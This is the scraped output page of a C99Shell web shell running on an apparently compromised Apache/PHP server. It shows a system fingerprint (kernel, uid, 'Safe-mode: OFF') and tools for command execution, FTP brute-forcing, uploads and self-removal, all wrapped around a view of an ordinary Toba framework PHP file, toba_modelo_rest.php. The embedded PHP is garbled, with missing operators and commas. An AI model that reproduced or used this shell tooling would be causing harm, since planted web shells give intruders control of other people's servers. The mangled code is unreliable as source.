!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/modelo/   drwxrwxr-x
Free 14.74 GB of 61.93 GB (23.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_modelo_rest.php (5.58 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
class toba_modelo_rest extends toba_modelo_elemento
{
    const 
CARPETA_REST_BASE '/rest';
    const 
CARPETA_REST_PROVEEDOR '/api_servidor';
    const 
CARPETA_REST_CLIENTE '/api_cliente';
    
    const 
ARCHIVO_CLIENTE '/cliente.ini';
    const 
ARCHIVO_USUARIOS '/servidor_usuarios.ini';
    const 
ARCHIVO_SERVER '/servidor.ini';
    
    protected 
$proyecto;    

    function 
__construct(toba_modelo_proyecto $proyecto)
    {        
        
$this->proyecto $proyecto;        
        
$this->db $this->proyecto->get_db();
    }

    
/**
     * @param toba_modelo_proyecto $proyecto
     * @param string $nombre_api
     * @return toba_ini
     */
    
static function get_ini_server(toba_modelo_proyecto  $proyecto$nombre_api='')
    {
        
$directorio self::get_dir_proveedor($proyecto->get_dir_instalacion_proyecto(), $nombre_api);
        
$ini = new toba_ini($directorio.self::ARCHIVO_SERVER);            
        return 
$ini;
    }

    
/**
     * @param toba_modelo_proyecto $proyecto
     * @return toba_ini
     */
    
static function get_ini_usuarios(toba_modelo_proyecto  $proyecto)
    {
        
$directorio self::get_dir_proveedor($proyecto->get_dir_instalacion_proyecto());
        
$ini = new toba_ini($directorio.self::ARCHIVO_USUARIOS);
        return 
$ini;
    }


    
/**
     * @param toba_modelo_proyecto $proyecto
     * @param string $nombre_api
     * @return toba_ini
     */
    
static function get_ini_cliente(toba_modelo_proyecto  $proyecto$nombre_api='')
    {
        
$directorio self::get_dir_consumidor($proyecto->get_dir_instalacion_proyecto(), $nombre_api);
        
$ini = new toba_ini($directorioself::ARCHIVO_CLIENTE);            
        return 
$ini;
    }
    
    
//-----------------------------------------------------------------------------------------------------------------//
    /**
     * @param toba_modelo_proyecto $proyecto
     * @param string $nombre_api
     * @return boolean
     */
    
static function existe_ini_server(toba_modelo_proyecto  $proyecto$nombre_api='')
    {
        
$directorio self::get_dir_proveedor($proyecto->get_dir_instalacion_proyecto(), $nombre_api);
        return 
file_exists($directorio self::ARCHIVO_SERVER);
    }
    
    
/**
     * @param toba_modelo_proyecto $proyecto
     * @param string $nombre_api
     * @return boolean
     */
    
static function existe_ini_usuarios(toba_modelo_proyecto  $proyecto$nombre_api='')
    {
        
$directorio self::get_dir_proveedor($proyecto->get_dir_instalacion_proyecto());
        return 
file_exists($directorio self::ARCHIVO_USUARIOS);
    }
    
    
/**
     * @param toba_modelo_proyecto $proyecto
     * @param string $nombre_api
     * @return boolean
     */
    
static function existe_ini_cliente(toba_modelo_proyecto  $proyecto$nombre_api='')
    {
        
$directorio self::get_dir_consumidor($proyecto->get_dir_instalacion_proyecto(), $nombre_api);
        return 
file_exists($directorio self::ARCHIVO_CLIENTE);        
    }
    
    
//-----------------------------------------------------------------------------------------------------------------//
    /**
     * @param string $path_origen
     * @param toba_modelo_proyecto $proyecto
     * @param string $nombre_api
     */
    
static function cp_ini_cliente($path_origentoba_modelo_proyecto  $proyecto$nombre_api='')
    {
        
$directorio =  self::get_dir_consumidor($proyecto->get_dir_instalacion_proyecto(), $nombre_api);
        
toba_manejador_archivos::crear_arbol_directorios($directorio);
        
copy($path_origen$directorioself::ARCHIVO_CLIENTE);
    }

    
/**
     * @param string $path_origen
     * @param toba_modelo_proyecto $proyecto
     * @param string $nombre_api
     */
    
static function cp_ini_server($path_origentoba_modelo_proyecto  $proyecto$nombre_api='')
    {
        
$directorio self::get_dir_proveedor($proyecto->get_dir_instalacion_proyecto(), $nombre_api);
        
toba_manejador_archivos::crear_arbol_directorios($directorio);
        
copy($path_origen$directorioself::ARCHIVO_SERVER);
    }
    
    
/**
     * @param string $path_origen
     * @param toba_modelo_proyecto $proyecto
     * @param string $nombre_api
     */    
    
static function cp_ini_usuarios($path_origentoba_modelo_proyecto  $proyecto$nombre_api='')
    {
        
$directorio self::get_dir_proveedor($proyecto->get_dir_instalacion_proyecto());
        
copy($path_origen$directorioself::ARCHIVO_USUARIOS);
    }
    
    
//-----------------------------------------------------------------------------------------------------------------//
    /**
     * @param string $path
     * @param string $nombre_api
     * @return string
     */
    
static function get_dir_proveedor($path$nombre_api='')
    {        
        
$dir $path self::CARPETA_REST_BASE;
        if (
file_exists($path self::CARPETA_REST_PROVEEDOR)) {                            //Nueva estructura de directorios a partir de 2.8
            
$dir $path self::CARPETA_REST_PROVEEDOR;                
            if (
trim($nombre_api) != '') { $dir $dir '/' trim($nombre_api); }                
        }
        return 
$dir;                                                            //BC
    
}
    
    
/**
     * @param string $path
     * @param string $nombre_api
     * @return string
     */
    
static function get_dir_consumidor($path$nombre_api='')
    {
        
$dir $path self::CARPETA_REST_BASE;
        if (
file_exists($path self::CARPETA_REST_CLIENTE)) {                            //Nueva estructura de directorios a partir de 2.8
            
$dir $path self::CARPETA_REST_CLIENTE;                
        }
        if (
trim($nombre_api) != '') { $dir $dir '/' trim($nombre_api); }                        
        
        return 
$dir;                                                            //BC        
    
}    
    
    
//------------------------------------------------------------------------------------------------------------------//
    /**
     * @param string $dir
     */
    
static function crear_directorio_destino($dir$id_proyecto='')
    {
        
$dir_base $dir self::CARPETA_REST_BASE;
        
/*$dir_consumidor = $dir . self::CARPETA_REST_CLIENTE;
        $dir_proveedor = $dir . self::CARPETA_REST_PROVEEDOR;*/
        
        
toba_manejador_archivos::crear_arbol_directorios($dir_base);
        
/*toba_manejador_archivos::crear_arbol_directorios($dir_consumidor);
        toba_manejador_archivos::crear_arbol_directorios($dir_proveedor);*/
    
}    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8364 ]--